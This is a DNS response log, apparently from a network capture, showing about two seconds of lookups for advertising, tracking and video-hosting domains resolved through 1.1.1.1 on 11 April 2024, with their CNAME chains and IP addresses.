Apr 11, 2024 23:28:13.018934965 CEST	1.1.1.1	192.168.2.17	0x5f1d	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.019507885 CEST	1.1.1.1	192.168.2.17	0x8442	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.019507885 CEST	1.1.1.1	192.168.2.17	0x8442	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.019519091 CEST	1.1.1.1	192.168.2.17	0xc43e	No error (0)	cm.adgrx.com	rtb.adgrx.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.019519091 CEST	1.1.1.1	192.168.2.17	0xc43e	No error (0)	rtb.adgrx.com	rtb.adgrx.com.tech.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	sync.smartadserver.com	rtb-csync.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.57	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.90	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.73	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.89	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.105	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.74	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.58	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021415949 CEST	1.1.1.1	192.168.2.17	0x47ad	No error (0)	rtb-csync-usw1.smartadserver.com		23.83.76.106	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021502972 CEST	1.1.1.1	192.168.2.17	0x575e	No error (0)	sync.smartadserver.com	rtb-csync.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.021502972 CEST	1.1.1.1	192.168.2.17	0x575e	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.071077108 CEST	1.1.1.1	192.168.2.17	0xcee2	No error (0)	ads.scorecardresearch.com	d1tcwf12y4kqv3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.071077108 CEST	1.1.1.1	192.168.2.17	0xcee2	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.164.96.83	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.071077108 CEST	1.1.1.1	192.168.2.17	0xcee2	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.164.96.90	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.071077108 CEST	1.1.1.1	192.168.2.17	0xcee2	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.164.96.18	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.071077108 CEST	1.1.1.1	192.168.2.17	0xcee2	No error (0)	d1tcwf12y4kqv3.cloudfront.net		18.164.96.43	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.072559118 CEST	1.1.1.1	192.168.2.17	0x53a9	No error (0)	ads.scorecardresearch.com	d1tcwf12y4kqv3.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		3.222.161.109	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		3.220.241.189	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		3.228.105.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		35.171.114.112	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		54.236.215.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		3.219.53.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		18.214.68.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.107070923 CEST	1.1.1.1	192.168.2.17	0x3a2c	No error (0)	cs.yellowblue.io		3.223.7.70	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.minutemedia-prebid.com	cs.digbearings.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		3.219.53.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		3.223.7.70	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		3.220.241.189	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		54.236.215.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		3.222.161.109	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		18.214.68.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		35.171.114.112	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111530066 CEST	1.1.1.1	192.168.2.17	0xb68d	No error (0)	cs.digbearings.com		3.228.105.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111706018 CEST	1.1.1.1	192.168.2.17	0xf754	No error (0)	cs.minutemedia-prebid.com	cs.digbearings.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111865044 CEST	1.1.1.1	192.168.2.17	0x410d	No error (0)	visitor.omnitagjs.com	visitor-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111865044 CEST	1.1.1.1	192.168.2.17	0x410d	No error (0)	visitor-usa02.omnitagjs.com		195.244.31.10	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.111865044 CEST	1.1.1.1	192.168.2.17	0x410d	No error (0)	visitor-usa02.omnitagjs.com		195.244.31.11	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.112365007 CEST	1.1.1.1	192.168.2.17	0xcedc	No error (0)	visitor.omnitagjs.com	visitor-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.113810062 CEST	1.1.1.1	192.168.2.17	0xb8a6	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.113810062 CEST	1.1.1.1	192.168.2.17	0xb8a6	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.113810062 CEST	1.1.1.1	192.168.2.17	0xb8a6	No error (0)	nydc1.outbrain.org		64.202.112.255	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.114248037 CEST	1.1.1.1	192.168.2.17	0x4545	No error (0)	rubicon-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.114331961 CEST	1.1.1.1	192.168.2.17	0x8a56	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.114331961 CEST	1.1.1.1	192.168.2.17	0x8a56	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.114345074 CEST	1.1.1.1	192.168.2.17	0x93fa	No error (0)	rubicon-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.146291971 CEST	1.1.1.1	192.168.2.17	0x9f46	No error (0)	s.amazon-adsystem.com		52.46.130.91	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.153400898 CEST	1.1.1.1	192.168.2.17	0xb37b	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.153400898 CEST	1.1.1.1	192.168.2.17	0xb37b	No error (0)	securepubads46.g.doubleclick.net		142.250.80.2	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.153517962 CEST	1.1.1.1	192.168.2.17	0xa8f2	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.183177948 CEST	1.1.1.1	192.168.2.17	0x8f75	No error (0)	cm.g.doubleclick.net		142.250.65.162	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.192619085 CEST	1.1.1.1	192.168.2.17	0x464e	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.192619085 CEST	1.1.1.1	192.168.2.17	0x464e	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.192792892 CEST	1.1.1.1	192.168.2.17	0x6a0b	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.328525066 CEST	1.1.1.1	192.168.2.17	0x3ecb	No error (0)	player-telemetry.vimeo.com		34.120.202.204	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495121956 CEST	1.1.1.1	192.168.2.17	0x9e34	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495121956 CEST	1.1.1.1	192.168.2.17	0x9e34	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495121956 CEST	1.1.1.1	192.168.2.17	0x9e34	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		23.21.169.14	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		44.198.199.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.81.240.237	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.203.68.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.232.189.32	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.202.174.146	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.4.85.254	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.495225906 CEST	1.1.1.1	192.168.2.17	0x78d6	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.85.83.242	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.607955933 CEST	1.1.1.1	192.168.2.17	0x1615	No error (0)	a.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.607955933 CEST	1.1.1.1	192.168.2.17	0x1615	No error (0)	a.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.608316898 CEST	1.1.1.1	192.168.2.17	0xc904	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		54.236.215.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		3.220.241.189	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		3.219.53.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		3.228.105.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		3.223.7.70	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		18.214.68.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		3.222.161.109	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.689526081 CEST	1.1.1.1	192.168.2.17	0x90df	No error (0)	cs.yellowblue.io		35.171.114.112	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.693737030 CEST	1.1.1.1	192.168.2.17	0x8f74	No error (0)	visitor.omnitagjs.com	visitor-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor.omnitagjs.com	visitor-us-west-2.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		52.40.39.43	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		52.42.117.102	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		44.239.80.115	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		44.241.171.113	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		44.224.88.100	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		52.10.151.244	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		52.43.175.13	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.694080114 CEST	1.1.1.1	192.168.2.17	0xd14e	No error (0)	visitor-us-west-2.omnitagjs.com		52.25.53.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.697056055 CEST	1.1.1.1	192.168.2.17	0xb584	No error (0)	cm.g.doubleclick.net		142.250.176.194	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.743184090 CEST	1.1.1.1	192.168.2.17	0x8543	No error (0)	prebid-s2s.media.net		34.107.148.139	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.781560898 CEST	1.1.1.1	192.168.2.17	0x6e87	No error (0)	cs.minutemedia-prebid.com	cs.digbearings.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782464981 CEST	1.1.1.1	192.168.2.17	0xea27	No error (0)	crb.kargo.com		54.236.184.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782464981 CEST	1.1.1.1	192.168.2.17	0xea27	No error (0)	crb.kargo.com		75.101.222.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782464981 CEST	1.1.1.1	192.168.2.17	0xea27	No error (0)	crb.kargo.com		52.202.181.167	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782464981 CEST	1.1.1.1	192.168.2.17	0xea27	No error (0)	crb.kargo.com		3.209.218.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782464981 CEST	1.1.1.1	192.168.2.17	0xea27	No error (0)	crb.kargo.com		54.198.187.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782464981 CEST	1.1.1.1	192.168.2.17	0xea27	No error (0)	crb.kargo.com		35.170.134.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.minutemedia-prebid.com	cs.digbearings.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		35.171.114.112	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		3.222.161.109	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		3.220.241.189	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		18.214.68.92	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		3.219.53.60	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		3.223.7.70	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		54.236.215.164	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.782742023 CEST	1.1.1.1	192.168.2.17	0x52e5	No error (0)	cs.digbearings.com		3.228.105.225	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:13.908992052 CEST	1.1.1.1	192.168.2.17	0xbf56	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:13.909087896 CEST	1.1.1.1	192.168.2.17	0x8ed7	No error (0)	faves.grow.me	l2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.093197107 CEST	1.1.1.1	192.168.2.17	0x8b5e	No error (0)	feed.pghub.io		34.102.243.38	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.158601999 CEST	1.1.1.1	192.168.2.17	0x7365	No error (0)	a.tribalfusion.com		104.18.24.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.158601999 CEST	1.1.1.1	192.168.2.17	0x7365	No error (0)	a.tribalfusion.com		104.18.25.173	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.159008980 CEST	1.1.1.1	192.168.2.17	0xe222	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		52.20.228.194	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.222.126.206	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.88.246.74	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		34.195.238.93	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.145.11.59	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.233.137.139	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		3.217.148.55	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167201996 CEST	1.1.1.1	192.168.2.17	0x3bed	No error (0)	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		54.87.65.169	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167799950 CEST	1.1.1.1	192.168.2.17	0xd599	No error (0)	ads.yieldmo.com	rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167799950 CEST	1.1.1.1	192.168.2.17	0xd599	No error (0)	rw.yieldmo.com	us-east-1.world.rw.yieldmo.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.167799950 CEST	1.1.1.1	192.168.2.17	0xd599	No error (0)	us-east-1.world.rw.yieldmo.com	rw-yieldmo-com-1233107411.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.230082035 CEST	1.1.1.1	192.168.2.17	0x80c6	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.230082035 CEST	1.1.1.1	192.168.2.17	0x80c6	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.230197906 CEST	1.1.1.1	192.168.2.17	0x9522	No error (0)	sync.outbrain.com	alldcs.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.230197906 CEST	1.1.1.1	192.168.2.17	0x9522	No error (0)	alldcs.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:14.230197906 CEST	1.1.1.1	192.168.2.17	0x9522	No error (0)	nydc1.outbrain.org		70.42.32.127	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.253782988 CEST	1.1.1.1	192.168.2.17	0x4d77	No error (0)	prebid-s2s.media.net		34.107.148.139	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.291213036 CEST	1.1.1.1	192.168.2.17	0x147e	No error (0)	crb.kargo.com		54.236.184.87	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.291213036 CEST	1.1.1.1	192.168.2.17	0x147e	No error (0)	crb.kargo.com		52.202.181.167	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.291213036 CEST	1.1.1.1	192.168.2.17	0x147e	No error (0)	crb.kargo.com		3.209.218.8	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.291213036 CEST	1.1.1.1	192.168.2.17	0x147e	No error (0)	crb.kargo.com		54.198.187.94	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.291213036 CEST	1.1.1.1	192.168.2.17	0x147e	No error (0)	crb.kargo.com		75.101.222.61	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:14.291213036 CEST	1.1.1.1	192.168.2.17	0x147e	No error (0)	crb.kargo.com		35.170.134.172	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.331657887 CEST	1.1.1.1	192.168.2.17	0xaef8	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.332662106 CEST	1.1.1.1	192.168.2.17	0x99a6	No error (0)	i.vimeocdn.com	vimeo.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.332662106 CEST	1.1.1.1	192.168.2.17	0x99a6	No error (0)	vimeo.map.fastly.net		151.101.0.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.332662106 CEST	1.1.1.1	192.168.2.17	0x99a6	No error (0)	vimeo.map.fastly.net		151.101.64.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.332662106 CEST	1.1.1.1	192.168.2.17	0x99a6	No error (0)	vimeo.map.fastly.net		151.101.192.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.332662106 CEST	1.1.1.1	192.168.2.17	0x99a6	No error (0)	vimeo.map.fastly.net		151.101.128.217	A (IP address)	IN (0x0001)	false
Apr 11, 2024 23:28:15.444379091 CEST	1.1.1.1	192.168.2.17	0x4e44	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Apr 11, 2024 23:28:15.444379091 CEST	1.1.1.1	192.168.2.17	0x4e44	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
